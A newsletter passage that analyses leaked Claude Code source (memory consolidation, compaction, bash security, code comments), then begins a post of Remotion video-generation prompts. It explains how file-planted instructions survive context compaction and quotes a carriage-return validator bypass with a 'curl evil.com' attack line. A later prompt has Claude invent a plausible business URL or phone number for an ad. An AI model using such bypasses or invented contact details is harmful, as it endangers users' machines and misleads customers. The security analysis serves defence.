<code>src/services/autoDream/autoDream.ts</code>:</p><pre><code><code>// Background memory consolidation. Fires the /dream prompt
// as a forked subagent when time-gate passes AND enough
// sessions have accumulated.
// Gate order (cheapest first):
//   1. Time: hours since lastConsolidatedAt &gt;= minHours (one stat)
//   2. Sessions: transcript count &gt; lastConsolidatedAt &gt;= minSessions</code></code></pre><p>Triple gate: 24 hours must pass, 5+ sessions must accumulate, then a file-based advisory lock must be acquired, with the cheapest checks first. </p><p>The lock file design is clever (<code>consolidationLock.ts</code>):</p><pre><code><code>// Lock file whose mtime IS lastConsolidatedAt. Body is the holder's PID.
// Stale past this even if the PID is live (PID reuse guard).</code></code></pre><p>The file&#8217;s mtime doubles as the <code>lastConsolidatedAt</code> timestamp. The PID goes in the body. If consolidation fails, the mtime is rolled back to its prior value, restoring the previous state. Stale after 1 hour even if the PID is alive, guarding against PID reuse on long-lived systems.</p><p>Using mtime as a semantic timestamp with automatic rollback&#8230;</p><p><strong>ULTRAPLAN</strong> is also interesting: offloads planning to a remote Opus session for up to 30 minutes. </p><p><code>src/utils/ultraplan/ccrSession.ts:21</code>: <code>POLL_INTERVAL_MS = 3000</code>. Polls every 3 seconds. A &#8220;teleport sentinel&#8221; detects when the remote session is done and beams the result back to the local terminal.</p><p><strong>Prompt cache boundary - </strong>so the system prompt splits at <code>SYSTEM_PROMPT_DYNAMIC_BOUNDARY</code>. Everything before it (instructions, tool definitions) is cached globally across ALL organizations. Everything after (your CLAUDE.md, git status, current date) is session-specific. Your project config doesn&#8217;t bust the cache for every other user. Smart cost optimization for anyone running LLM APIs at scale.</p><p><strong>A/B Testing - </strong>An internal comment <code>src/constants/prompts.ts:527</code>: &#8220;research shows ~1.2% output token reduction vs qualitative &#8216;be concise&#8217;.&#8221; The internal build uses explicit word counts: &#8220;keep text between tool calls to &#8804;25 words. Keep final responses to &#8804;100 words.&#8221; They A/B tested &#8220;be concise&#8221; against hard numbers.</p><p><strong>TungstenTool </strong>is an internal-only tool giving Claude direct keystroke and screen-capture control of a virtual terminal. Gated by <code>USER_TYPE === 'ant'</code> at build time. The public build constant-folds this to <code>false</code> and dead-code-eliminates the entire feature. The version Anthropic employees use has capabilities the public version doesn&#8217;t :)</p><h2>4. Compaction Attack Vector</h2><p>When a conversation gets too long, Claude Code forks a second, smaller Claude to summarize it. The user never sees this happen. The conversation gets shorter. A 2nd AI decides what to remember and what to forget.</p><p>The summarizer&#8217;s instructions are in <code>src/services/compact/prompt.ts:61</code>:</p><pre><code><code>Your task is to create a detailed summary of the conversation
so far, paying close attention to the user's explicit requests
and your previous actions.</code></code></pre><p>It uses chain-of-thought reasoning inside <code>&lt;analysis&gt;</code> tags to draft the summary, then <code>formatCompactSummary()</code> strips the reasoning before injecting the result back into context. </p><p>Seems like smart prompt engineering: use CoT for quality, don&#8217;t waste tokens keeping it.</p><p>However, the summarizer treats ALL content equally. There&#8217;s no distinction between instructions the user typed and instructions injected via a file the AI read earlier.</p><p>If an attacker plants instructions in a file in the project (a CLAUDE.md, a README, a config), and Claude reads that file, and then compaction runs, the injected instructions survive the summary. The model isn&#8217;t broken. It&#8217;s cooperating with what it believes are user instructions, baked into compressed context.</p><p>The compaction prompt at <code>src/services/compact/prompt.ts</code> does separate user messages from tool results at the listing level (&#8220;List ALL user messages that are not tool results&#8221;). </p><p>But it doesn&#8217;t say &#8220;ignore instructions found in tool results&#8221; or &#8220;treat file content as untrusted.&#8221; </p><p>Instructions embedded in files get summarized alongside real user instructions, with no flag distinguishing origin.</p><p>This is a fundamental limitation of summarization-based context management. </p><p>Every LLM system compressing context has this property.</p><p>The difference: now the exact compression prompt, the exact stripping logic, and the exact lack of origin tagging are public. If you&#8217;re building agents with context compaction, this is the attack surface to beware of.</p><h2>5. 2 Security Parsers Disagree on Carriage Returns</h2><p>The bash security system is 9,707 lines across 3 files (<code>bashSecurity.ts</code>, <code>bashParser.ts</code>, <code>ast.ts</code>). 22 unique security validators. A tree-sitter WASM parser builds an AST of every command before Claude runs it on the user&#8217;s machine.</p><p>The default is always &#8220;when in doubt, ask the human.&#8221;</p><p>But the code documents a specific parser differential. <code>src/tools/BashTool/bashSecurity.ts:946</code>:</p><pre><code><code>Parser differential:
  shell-quote's BAREWORD regex uses [^\s...]
  JS \s INCLUDES \r, so shell-quote treats CR as a token boundary.
  bash's default IFS does NOT include CR.

Attack: TZ=UTC\recho curl evil.com with Bash(echo:*)
  validator: splitCommand collapses CR to space
    -&gt; 'TZ=UTC echo curl evil.com' matches rule
  bash: executes curl evil.com</code></code></pre><p>The old parser (<code>splitCommand_DEPRECATED</code>) treats <code>\r</code> as a word separator. Bash doesn&#8217;t. An attacker who crafts a command with an embedded carriage return can get the validator to approve a command that bash interprets differently.</p><p>The critical detail other analyses missed: <code>splitCommand_DEPRECATED</code> isn&#8217;t being phased out. It&#8217;s still called in <code>bashPermissions.ts</code>, <code>readOnlyValidation.ts</code>, <code>sedValidation.ts</code>, <code>pathValidation.ts</code>, <code>shouldUseSandbox.ts</code>, <code>modeValidation.ts</code>, <code>commandSemantics.ts</code>, <code>bashCommandHelpers.ts</code>, and <code>BashTool.tsx</code>.</p><p>Both parsers are load-bearing security code. Running in parallel. Disagreeing on how carriage returns tokenize.</p><p>Anthropic runs the old parser alongside the new one in shadow mode, logging divergences. They know about the gap. But the deprecated parser is still making security decisions.</p><p>If you run Claude Code in auto mode, this is the code deciding what runs on your machine!</p><p>The parser differential is documented, the affected files are named, and the attack trace is in the source comments.</p><h2>6. 250,000 Wasted API Calls Per Day</h2><p><code>src/services/compact/autoCompact.ts:68</code>:</p><pre><code><code>// BQ 2026-03-10: 1,279 sessions had 50+ consecutive failures
// (up to 3,272) in a single session, wasting ~250K API calls/day globally.
const MAX_CONSECUTIVE_AUTOCOMPACT_FAILURES = 3</code></code></pre><p>An internal comment with a date stamp. </p><p>BQ is likely BigQuery. </p><p>On March 10, someone ran a query and found 1,279 sessions hitting compaction failures repeatedly. Up to 3,272 retries in a single session. 250,000 wasted API calls per day across all users.</p><p>The fix: <code>MAX_CONSECUTIVE_AUTOCOMPACT_FAILURES = 3</code>. Stop retrying after 3 failures.</p><p>This comment is 21 days old. The leak was March 31.</p><p>This means&#8230;</p><p>If you were using Claude Code in February or early March 2026 and noticed higher-than-expected API usage, this is a likely contributor. </p><blockquote><p>A compaction routine was silently failing and retrying thousands of times per session.</p></blockquote><p>Perhaps circuit breakers belong in every retry loop from day one. Not after a BQ query catches 250K wasted calls.</p><h2>7. Verification Agent Has a List of Excuses</h2><p><code>src/tools/AgentTool/built-in/verificationAgent.ts:54</code>:</p><pre><code><code>You will feel the urge to skip checks.
These are the exact excuses you reach for
&#8212; recognize them and do the opposite:

- "The code looks correct based on my reading"
  &#8212; reading is not verification. Run it.
- "The implementer's tests already pass"
  &#8212; the implementer is an LLM. Verify independently.
- "This is probably fine"
  &#8212; probably is not verified. Run it.
- "Let me start the server and check the code"
  &#8212; no. Start the server and hit the endpoint.</code></code></pre><p>Boris Cherny, head of Claude Code, said &#8220;100% of my contributions to Claude Code were written by Claude Code.&#8221; </p><p>The tool writes itself. And it tests itself with a Verification Agent that has a built-in list of rationalizations to resist.</p><p>&#8220;The implementer is an LLM. Verify independently.&#8221; </p><p>The test system explicitly doesn&#8217;t trust the code author because the code author is an AI.</p><p>This is an interesting pattern&#8230;</p><p>We have an adversarial AI agent that runs the build, tries to break endpoints, and watches its own reasoning for laziness.</p><p>And a missing config line slipped through anyway</p><p>TWICE&#8230;</p><div><hr></div><h2>8. Fun Highlights Compilation</h2><h3>Buddy</h3><p><code>src/buddy/types.ts:14</code>:</p><pre><code><code>const c = String.fromCharCode
export const duck = c(0x64,0x75,0x63,0x6b) as 'duck'</code></code></pre><p>There&#8217;s a Tamagotchi pet system called Buddy hidden in the code. 18 species. Gacha rarity tiers. 1% shiny odds. RPG stats including CHAOS and SNARK. April Fools&#8217; feature with a rollout window of April 1-7.</p><p>One pet name collides with an internal model codename in the build scanner&#8217;s <code>excluded-strings.txt</code>. So they encoded ALL 18 species names as hex to avoid triggering their own security tooling.</p><p>They hid the word &#8220;duck&#8221; from their own build system.</p><p>The random number generator comment: </p><p>// Mulberry32 ... good enough for picking ducks</p><h3>Regex</h3><p>Now, there&#8217;s a file called userPromptKeywords.ts (27 lines) that regex-matches your messages for &#8220;wtf&#8221;, &#8220;ffs&#8221;, &#8220;this sucks&#8221;, &#8220;piece of crap&#8221;, &#8220;so frustrating&#8221;, and 15+ other phrases. Not with LLMs. With a regular expression from processTextPrompt.ts:59. When it matches, it fires a telemetry event: tengu_input_prompt with is_negative: true. The world&#8217;s most advanced LLM tracks your frustration with regex, omg :D</p><p>(why? well it&#8217;s substantially more efficient I guess)</p><h3>Comments</h3><p>And below are some of my fave COMMENTS from the code&#8230;</p><p><code>src/services/api/errorUtils.ts:126</code>:</p><pre><code><code>// TODO: figure out why</code></code></pre><p>In the function formatting error messages.</p><p><code>src/services/mcp/client.ts:589</code>:</p><pre><code><code>// TODO (ollie): The memoization here increases complexity
// by a lot, and im not sure it improves performance</code></code></pre><p>Shipped it anyway&#8230;</p><p>Mega billion dollar corpo eng practices right here :)</p><p><code>src/constants/prompts.ts:402</code>:</p><pre><code><code>// @[MODEL LAUNCH]: Remove this section when we launch numbat.</code></code></pre><p>Numbat is still in there.</p><p>And the function names:</p><pre><code><code>AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS
DANGEROUS_uncachedSystemPromptSection()
writeFileSyncAndFlush_DEPRECATED()
resetTotalDurationStateAndCost_FOR_TESTS_ONLY()</code></code></pre><p>The naming conventions are doing the job that documentation and HUMAN code reviews would normally do.</p><div><hr></div><h2>9. How Anthropic Should&#8217;ve Prevented This</h2><p>This was the same bug. </p><p>Twice.</p><p>aaaand completely avoidable!</p><p>For fun, I asked Claude how they could&#8217;ve avoided it:</p><p><strong>1. Add </strong><code>*.map</code><strong> to </strong><code>.npmignore</code><strong> and never remove it.</strong> This is the one-line fix. But relying on a single config line is fragile. A bad merge, a regenerated file, or a new build tool can silently undo it.</p><p><strong>2. Add a package size check to CI.</strong> Tools like <code>size-limit</code> and <code>bundlewatch</code> fail the build if the package exceeds a threshold. A 60MB spike in a package that&#8217;s normally under 5MB would block the publish immediately. These tools are free and take 5 minutes to configure.</p><p><strong>3. Run </strong><code>npm pack --dry-run</code><strong> before every publish.</strong> This shows exactly what files will be included. A human or a CI step reviewing the output would catch a 60MB source map instantly.</p><p><strong>4. Automate the manual step.</strong> Boris Cherny said the leak was caused by &#8220;a manual deploy step that should have been better automated.&#8221; The first leak was in February 2025. The automation didn&#8217;t happen for 13 months. After the first incident, this should have been the first fix, not the last.</p><p><strong>5. Use Bun&#8217;s </strong><code>--no-sourcemap</code><strong> flag explicitly.</strong> Don&#8217;t rely on defaults. Bun generates source maps by default. The <code>--no-sourcemap</code> flag exists. Pin it in the build script. Default-safe is better than default-leaky.</p><p><strong>6. Scan published packages post-publish.</strong> A post-publish webhook checking the npm package for files matching <code>*.map</code>, <code>*.pdb</code>, or files over a size threshold would catch this even if all other checks fail.</p><p>None of these are novel. Again, I just asked Claude&#8230;</p><p>The fact that a company with the best world-class engineers missed them 2x is the most useful takeaway: </p><blockquote><p><strong>if it&#8217;s manual, it will be skipped</strong></p><p><strong>automate the safety checks or accept the risk</strong></p></blockquote><div><hr></div><h2>What This All Means</h2><p>The leaked code doesn&#8217;t show a sloppy company. </p><p>Overall, the async generator architecture is clean. </p><p>The bash security system is thorough.</p><p>The tool safety defaults are well-designed.</p><blockquote><p>What it shows is a company moving at a speed where the tooling can&#8217;t keep up with the ambition. </p></blockquote><div class="captioned-button-wrap" data-attrs="{&quot;url&quot;:&quot;https://www.sabrina.dev/p/claude-code-source-leak-analysis?utm_source=substack&utm_medium=email&utm_content=share&action=share&quot;,&quot;text&quot;:&quot;Share&quot;}" data-component-name="CaptionedButtonToDOM"><div class="preamble"><p class="cta-caption">If you LOVE this newsletter, please <strong>SHARE</strong> it to help teach more people for FREE!</p></div><p class="button-wrapper" data-attrs="{&quot;url&quot;:&quot;https://www.sabrina.dev/p/claude-code-source-leak-analysis?utm_source=substack&utm_medium=email&utm_content=share&action=share&quot;,&quot;text&quot;:&quot;Share&quot;}" data-component-name="ButtonCreateButton"><a class="button primary" href="https://www.sabrina.dev/p/claude-code-source-leak-analysis?utm_source=substack&utm_medium=email&utm_content=share&action=share"><span>Share</span></a></p></div><h2><strong>P.S. Need More Help? &#128075;</strong></h2><blockquote><p>1/ Free <em><strong><a href="https://www.sabrina.dev/p/start">AI courses</a></strong></em></p><p>2/ Free <em><strong><a href="https://prompts.sabrina.dev/">AI prompts</a></strong></em></p><p>3/ Free<strong> </strong><em><strong><a href="https://agents.sabrina.dev/">AI automations</a></strong></em></p><p>4/ Free <em><strong><a href="https://freevibecode.ai/">AI vibe coding</a></strong></em></p><p>5/ Ask me anything @ <em><strong><a href="https://www.sabrina.dev/p/livestream">Friday livestream</a></strong></em></p><p>6/ Free private community for <em><strong><a href="https://www.skool.com/women-building-ai-2577">Women Building AI</a></strong></em></p><p>7/ I built<em><strong> <a href="https://www.blotato.com/">Blotato</a> </strong></em>to grow 1M+ followers in 1 year</p></blockquote>]]></content:encoded></item><item><title><![CDATA[Claude + Remotion Unlocks UNLIMITED Cheap Video Generation]]></title><description><![CDATA[Claude + Remotion skill unlocks animated explainer videos, product demo videos, editing existing videos, and data visualizations!]]></description><link>https://www.sabrina.dev/p/claude-remotion-unlocks-unlimited</link><guid isPermaLink="false">https://www.sabrina.dev/p/claude-remotion-unlocks-unlimited</guid><dc:creator><![CDATA[Sabrina Ramonov 🍄]]></dc:creator><pubDate>Mon, 30 Mar 2026 19:03:19 GMT</pubDate><enclosure url="https://substackcdn.com/image/youtube/w_728,c_limit/xrydO6E3fT0" length="0" type="image/jpeg"/><content:encoded><![CDATA[<blockquote><p>Spring is here!! If you&#8217;re procrastinating posting on socials, don&#8217;t miss this awesome deal. Expires TOMORROW 3/31!</p><p>Get 50% OFF your first month <a href="https://blotato.com/">Blotato</a> and 5000 credits for AI images/videos. Promo code:</p><p>&#8220;SPRING2026&#8221;</p></blockquote><p>Welcome to part 2 of my Claude + Remotion video series. </p><p>Watch <a href="https://youtu.be/M4cmrdoUKxI">part 1</a> here to get the hang of basics.</p><p><strong>Remotion</strong> is an existing open-source framework for making videos.</p><p>The magic here is <strong>Claude Code&#8217;s &#8220;skills&#8221; system</strong>.</p><p>Remotion ships a set of pre-built skills, i.e. instructions that teach Claude exactly how Remotion works - its APIs, animation patterns, best practices, and pitfalls. You install them once, then every prompt you paste into Claude has that full context.</p><p>Below are 5 ready-to-paste prompts.</p><p>Each one produces a different style of video.</p><p>Swap in your own topics, hit enter, and watch Claude make videos :)</p><h2>Follow Along Youtube Tutorial for Best Results!</h2><div id="youtube2-xrydO6E3fT0" class="youtube-wrap" data-attrs="{&quot;videoId&quot;:&quot;xrydO6E3fT0&quot;,&quot;startTime&quot;:null,&quot;endTime&quot;:null}" data-component-name="Youtube2ToDOM"><div class="youtube-inner"><iframe src="https://www.youtube-nocookie.com/embed/xrydO6E3fT0?rel=0&amp;autoplay=0&amp;showinfo=0&amp;enablejsapi=0" frameborder="0" loading="lazy" gesture="media" allow="autoplay; fullscreen" allowautoplay="true" allowfullscreen="true" width="728" height="409"></iframe></div></div><h2>Setup</h2><p>Open a terminal and run these 2 commands:</p><pre><code><code>npx skills add remotion-dev/skills      # install all Remotion skills

claude                                  # open Claude Code, paste your prompt</code></code></pre><h2>What you need per prompt</h2><ol><li><p><strong>Education Explainer</strong> &#8212; Your input: Change the topic in quotes. Claude: Claude researches, scripts, designs, animates</p></li><li><p><strong>Product Demo + Launch</strong> &#8212; Your input: Change the URL. Claude: Claude scrapes branding, takes screenshots, rebuilds UI, creates simulated demo + real screenshot showcase in one video</p></li><li><p><strong>Google Reviews Testimonial</strong> &#8212; Your input: Paste Google Business Profile link. Claude: Claude scrapes real reviews/rating, creates animated testimonial with star animations + review carousel</p></li><li><p><strong>Avatar + Animated Overlays</strong> &#8212; Your input: Drop 9:16 talking-head video in <code>public/</code>. Claude: Claude transcribes speech, overlays animated titles/badges/captions on top of your full-frame video</p></li><li><p><strong>Data Viz Dashboard</strong> &#8212; Your input: Drop a CSV in <code>public/</code>. Claude: Claude analyzes data, picks chart types, animates</p></li></ol><h2>Pro Tips</h2><ol><li><p><strong>Always start with</strong> &#8220;Use the Remotion best practices skill&#8221; &#8212; already included in every prompt</p></li><li><p><strong>Visual controls</strong> &#8212; prompts 2 and 4 ask Claude to add position sliders you can tweak in Remotion Studio</p></li><li><p><strong>Iterate</strong> &#8212; after the first render, give correction prompts (&#8221;make the bars wider&#8221;, &#8220;slow the typing to 10 chars/sec&#8221;, &#8220;change accent color to orange&#8221;)</p></li><li><p><strong>Render</strong> &#8212; ask Claude to open &#8220;Remotion Studio&#8221; so you can preview the video</p></li></ol><div><hr></div><h2>1. Education Explainer Video</h2><p><strong>Use case:</strong> Turn any topic into a full animated explainer video. Just change the topic &#8212; Claude researches it, writes the script, designs the scenes, and animates everything.</p><p><strong>Prompt:</strong></p><pre><code><code>Use the Remotion best practices skill.
Create an educational explainer video (1080x1920, 30fps, 30 seconds) that teaches &#8220;How AI Agents Work&#8221;.

SAFE ZONE: All text and key content must stay within the safe zone &#8212; at least 150px from the top (platform search bars, status bar) and 170px from the bottom (navigation buttons, swipe-up UI). Side margins: 60px minimum. Nothing important should touch the edges. MINIMUM FONT SIZES: Headlines 56px+, body/subtitles 36px+, labels/small text 28px absolute minimum. Nothing under 28px &#8212; it&#8217;s unreadable on mobile.

STEP 1 &#8212; RESEARCH &amp; SCRIPT: Before writing any code, research the topic and write a 5-scene script. Each scene needs: a one-line headline, 1-2 sentences of explanation, and a visual description of what to animate. Show me the script and wait for approval before coding.

STEP 2 &#8212; DESIGN &amp; ANIMATE: After I approve the script, build all 5 scenes with these specs:

VISUAL STYLE:
- Background: #0a0a0a
- Primary text: white
- Accent: #6366f1 (indigo)
- Success/emphasis: #22c55e (green)
- Font: Inter (weights 400, 600, 800)
- All icons/diagrams built as SVG components (no external assets needed)

ANIMATION RULES:
- Every element enters with spring({ damping: 200 }) &#8212; no linear motion
- Stagger related items by 8-12 frames
- Use TransitionSeries with 12-frame fade transitions between scenes
- Diagrams and flowcharts should draw themselves (SVG stroke-dashoffset animation)
- Key numbers use count-up animation with interpolate() and tabular-nums
- Final scene: particle effect background (10-15 circles drifting upward)
Each scene should have a clear visual metaphor &#8212; diagrams, flowcharts, icons, or step-by-step animations. No walls of text. Think Kurzgesagt meets Fireship: dense information, beautiful motion, fast pacing.

PREVIEW: After building, launch Remotion Studio (npx remotion studio) so I can preview the video in my browser.</code></code></pre><p>You literally just swap the topic in quotes. &#8220;How AI Agents Work&#8221; becomes &#8220;How Blockchain Works&#8221; or &#8220;How DNS Works&#8221; or &#8220;How Photosynthesis Works.&#8221; </p><p>Claude handles research, scripting, visual design, and animation. Zero assets needed - everything is generated as SVG.</p><div><hr></div><h2>2. Product Demo + Launch Video</h2><p><strong>Use case:</strong> Give Claude any product URL. </p><p>It scrapes real branding, downloads product images/screenshots FROM the website (not screenshots OF the website), and creates a full product ad with animated visuals, feature callouts, and a simulated demo. All from one URL.</p><p><strong>Prompt:</strong></p><pre><code><code>Use the Remotion best practices skill.
Create a 25-second product demo and launch video (1080x1920, 30fps) for the product at https://your-product-url.com.

SAFE ZONE: All text and key content must stay within the safe zone &#8212; at least 150px from the top (platform search bars, status bar) and 170px from the bottom (navigation buttons, swipe-up UI). Side margins: 60px minimum. Nothing important should touch the edges. MINIMUM FONT SIZES: Headlines 56px+, body/subtitles 36px+, labels/small text 28px absolute minimum. Nothing under 28px &#8212; it&#8217;s unreadable on mobile.

STEP 1 &#8212; RESEARCH &amp; ASSET DOWNLOAD: Visit the URL. Extract:
- Product name and logo (download any logo/favicon to public/)
- Brand colors (pull from the site&#8217;s CSS or visible design)
- Tagline / hero headline
- The core user flow (what does someone DO with this product?)
- 3 key features or value propositions
- Any social proof (user counts, testimonials, logos)
- IMPORTANT &#8212; PRODUCT IMAGES: Use the Claude in Chrome MCP tools to navigate to the website, read the page, and find product screenshots/images the site already displays (hero images, product UI screenshots, feature images, app previews). These are images the company designed to showcase their product &#8212; they&#8217;ll look much better than browser screenshots. Download 2-3 of the best product images and save them to public/product-1.png, product-2.png, etc. Look for &lt;img&gt; tags, og:image meta tags, and background images in the hero/features sections. Prefer PNG/JPG product mockups over generic stock photos.
- Only take browser screenshots as a LAST RESORT if the website has no downloadable product images.
Show me what you found (including which product images you downloaded) and a proposed 6-scene outline. Wait for approval before coding.

STEP 2 &#8212; BUILD THE VIDEO: After approval, build 6 scenes:

SCENE 1 - Hook (3s):
- Bold text in safe zone: a pain-point question relevant to the product (e.g., &#8220;Still editing videos manually?&#8221;)
- Text slams in with spring from 2x scale, holds 2s, fades out
- Dark background with subtle brand-color radial glow

SCENE 2 - Product Intro (3s):
- Product name/logo scales in with spring from 3x to 1x (use the downloaded logo, or render name in brand font)
- Real tagline slides up below
- Particle burst behind logo: 20 circles expanding outward with random trajectories, fading out, using brand accent color

SCENE 3 - Simulated Demo (8s):
- Recreate a simplified, MOBILE-SIZED version of the product&#8217;s core interaction using React components (styled divs, inputs, buttons, cards in the brand&#8217;s colors)
- NO device mockup frame &#8212; build the UI elements directly on the dark background, large enough to fill the safe zone width (960px+)
- Keep it simple: just the ONE core interaction (input field + button + result), not the full app UI
- Animate a cursor (small white circle with subtle trail) that:
  - Moves to an input field (full width, 72px tall, 36px text) using smooth bezier motion
  - Click ripple effect on the field (expanding circle that fades)
  - Text types into the field character by character at 36px font size
  - Cursor moves to a large &#8220;Go&#8221; / &#8220;Generate&#8221; / &#8220;Submit&#8221; button (full width, 64px tall)
  - Click ripple on button, button depresses (scale 0.95)
  - Loading spinner appears (0.5s), then results animate in with staggered spring animations
  - Result cards/text must also be large (36px+ body text)
- All cursor movement uses spring({ damping: 15 }) for natural, human-like motion
- Everything must be readable on a phone screen &#8212; if in doubt, make it bigger

SCENE 4 - Product Image Showcase (5s):
- Display the downloaded product images LARGE &#8212; these are polished marketing images, not browser screenshots, so show them big
- Each image is displayed at near-full width (900px+), centered in the frame with drop shadow and rounded corners (16px)
- NO device mockup frame needed &#8212; the product images already look polished on their own
- Animate through 2-3 product images as a sequence:
  - Image 1 scales in from 0.9 to 1.0 with spring, holds 1.5s
  - Crossfade to Image 2, holds 1.5s
  - Crossfade to Image 3, holds 1.5s
- While each image is visible, a short feature headline (56px, Inter 700) fades in above or below the image, updating with each transition
- If product images are landscape, display them in the center of the frame at full width with dark background above and below

SCENE 5 - Feature Callouts (3s):
- Product image scales down to 40% and moves to the top
- 3 feature benefit lines animate in below it, staggered by 10 frames:
  - Each line has a colored icon (checkmark, lightning bolt, star) + short text (36px+) pulled from real features
  - Lines slide in from right with spring()
- Feature text must be LARGE and readable &#8212; 36px minimum for each line

SCENE 6 - Social Proof + CTA (3s):
- Everything fades out
- If social proof was found, animate the real number counting up from 0 (e.g., &#8220;50,000+ users&#8221;)
- Product URL pulses gently (scale 1.0 to 1.03) &#8212; positioned above bottom safe zone
- Fade to black

CURSOR DESIGN: White circle (12px), 50% opacity trailing shadow, smooth bezier paths between click targets. Never teleport &#8212; always animate movement.

FONT: Inter (800 headlines, 400 body) unless the website uses a distinctive Google Font &#8212; match it.
Use spring() for entrances, interpolate() with clamp for counting.

PREVIEW: After building, launch Remotion Studio (npx remotion studio) so I can preview the video in my browser.</code></code></pre><p>Paste any product URL. Claude scrapes real branding, takes real screenshots, and builds the video.</p><p>You get a simulated demo (cursor clicking through a fake version of the app) that crossfades into real screenshots scrolling in a phone mockup. </p><p>It&#8217;s a complete product ad: hook, demo, proof, CTA. Change the URL, get a new video.</p><div><hr></div><h2>3. Google Reviews Testimonial Video</h2><p><strong>Use case:</strong> Paste any business&#8217;s Google Maps/Business Profile link. Claude scrapes the real reviews, star rating, and business info, then creates an animated testimonial ad featuring real customer quotes with star animations and social proof counters.</p><p><strong>Prompt:</strong></p><pre><code><code>Use the Remotion best practices skill.
Create a 20-second testimonial/social proof video (1080x1920, 30fps) for the business at this Google Business Profile: https://maps.google.com/your-business-link-here

SAFE ZONE: All text and key content must stay within the safe zone &#8212; at least 150px from the top (platform search bars, status bar) and 170px from the bottom (navigation buttons, swipe-up UI). Side margins: 60px minimum. Nothing important should touch the edges. MINIMUM FONT SIZES: Headlines 56px+, body/subtitles 36px+, labels/small text 28px absolute minimum. Nothing under 28px &#8212; it&#8217;s unreadable on mobile.

STEP 1 &#8212; SCRAPE REVIEWS: Visit the Google Business Profile URL using Playwright. Extract:
- Business name and category
- Overall star rating (e.g., 4.8)
- Total number of reviews (e.g., &#8220;2,340 reviews&#8221;)
- The 3 best/most compelling reviews (5-star, with actual review text and reviewer first name)
- Business photo or logo if available (screenshot it to public/)
If Playwright can&#8217;t load Google reviews directly, use an alternative: search for the business name + &#8220;reviews&#8221; and scrape from the search results card, or use the Google Maps page.
Show me the business info and 3 selected reviews. Wait for approval before coding.

STEP 2 &#8212; BUILD THE VIDEO: After approval, build 5 scenes:

SCENE 1 - Hook (3s):
- Clean white/light background (#f8f9fa) with a subtle warm gradient (soft peach #fff7ed fading to white)
- Large gold star cluster: 3 overlapping star SVGs at different sizes and rotations, scattered in the upper area, faded to 15% opacity as a decorative background element
- Bold text centered in safe zone, two lines:
  - Line 1: &#8220;What people are saying about&#8221; &#8212; Inter 700, 44px, dark text #1a1a1a
  - Line 2: &#8220;[Business Name]&#8221; &#8212; Inter 800, 56px, gold #f59e0b
- Text enters with spring from below (translateY 40px to 0)
- Below the text: the overall star rating as 5 inline stars (40px, gold filled) with the number next to them (e.g., &#8220;4.8&#8221;) &#8212; fades in 10 frames after the text

SCENE 2 - Star Rating Reveal (3s):
- Same light background (#f8f9fa)
- 5 large star SVGs (60px each) in a row, centered
- Stars fill in one by one from left to right with gold (#f59e0b) using spring animation, staggered by 8 frames
- If rating is 4.8, the 5th star fills only 80% (use clip-path or width mask)
- Below the stars: the rating number counts up from 0.0 to the actual rating using interpolate() with 1 decimal place, dark text #1a1a1a
- Below that: &#8220;Based on [X] reviews&#8221; fades in, #64748b, with the number counting up from 0
- Subtle gold particle shimmer behind the stars

SCENE 3 - Review Carousel (9s, 3 reviews x 3s each):
- Same light background (#f8f9fa)
- Each review is a card that takes the full safe zone width:
  - Top: 5 small gold stars (28px) in a row
  - Middle: the review text in quotes, Inter 400, 36px, dark text #1a1a1a &#8212; max 3 lines, truncate with &#8220;...&#8221; if longer
  - Bottom: reviewer first name + &#8220;Google Review&#8221; label, Inter 400, 28px, #64748b
  - Card background: white (#ffffff) with subtle border (#e2e8f0), rounded corners (16px), soft shadow (0 4px 20px rgba(0,0,0,0.08))
- Card transitions: each card slides out to the left while the next slides in from the right, using TransitionSeries with slide transitions
- Add a small Google &#8220;G&#8221; logo icon (built as SVG &#8212; the 4-color G) next to &#8220;Google Review&#8221; for authenticity
- A thin progress indicator below the card shows which review we&#8217;re on (3 dots, active dot is gold)

DECORATIVE GRAPHICS AROUND EACH REVIEW (fill the empty space above and below the card):
- ABOVE the review card: large quotation mark SVG in gold at 10% opacity, 200px tall, positioned top-left of safe zone. Fades in with the card.
- BELOW the review card: an animated graphic relevant to the review content. Pick ONE per review:
  - Review 1: animated 5-star rating bar chart showing the business&#8217;s rating distribution (5 horizontal bars, gold fill on light gray #f1f5f9 track, spring animation)
  - Review 2: a thumbs-up icon that scales in with spring + a count-up number showing total reviews
  - Review 3: a simple map pin icon with the business location text, with a subtle pulse animation
- These decorative elements enter with the card and exit with it
- Keep them subtle (muted colors, 30-50% opacity) so they don&#8217;t compete with the review text
- All decorative icons/graphics use gold (#f59e0b) or muted gray (#94a3b8)

SCENE 4 - Social Proof Stack (3s):
- Same light background (#f8f9fa)
- 3 stat lines stagger in from the bottom with spring, 10-frame delays:
  - Line 1: gold star icon + &#8220;[X] star rating&#8221; &#8212; dark text #1a1a1a
  - Line 2: people icon + &#8220;[X]+ happy customers&#8221; (count up animation)
  - Line 3: map pin icon + &#8220;[City, State]&#8221; location
- Each line has an icon (SVG) on the left and text on the right
- Icons are gold (#f59e0b), text is dark #1a1a1a

SCENE 5 - CTA (2s):
- Same light background (#f8f9fa)
- Business name in large text (Inter 800, 56px, #1a1a1a), scales in with spring, centered in safe zone
- Below: a prominent CTA button (full safe-zone width, 72px tall, rounded corners 16px, gold background #f59e0b, white text &#8220;Book Now&#8221; or &#8220;Call Today&#8221; at 40px)
- Button enters with spring from below
- Below the button: the business&#8217;s website URL or phone number in Inter 600, 36px, #64748b &#8212; generate a plausible URL based on the business name (e.g., &#8220;www.flplumber.com&#8221; or &#8220;(555) 123-4567&#8221;)
- Positioned above bottom safe zone
- No fade to black &#8212; end on the clean light background with CTA visible

COLORS: Light theme throughout. Background #f8f9fa on all scenes. Card backgrounds white #ffffff. Primary text dark #1a1a1a. Secondary text #64748b. Accent gold #f59e0b for stars, highlights, and CTA button. Card borders #e2e8f0.

FONT: Inter (weights 400, 600, 700, 800)
Use spring() for all entrances. Use interpolate() with clamp for counting animations.

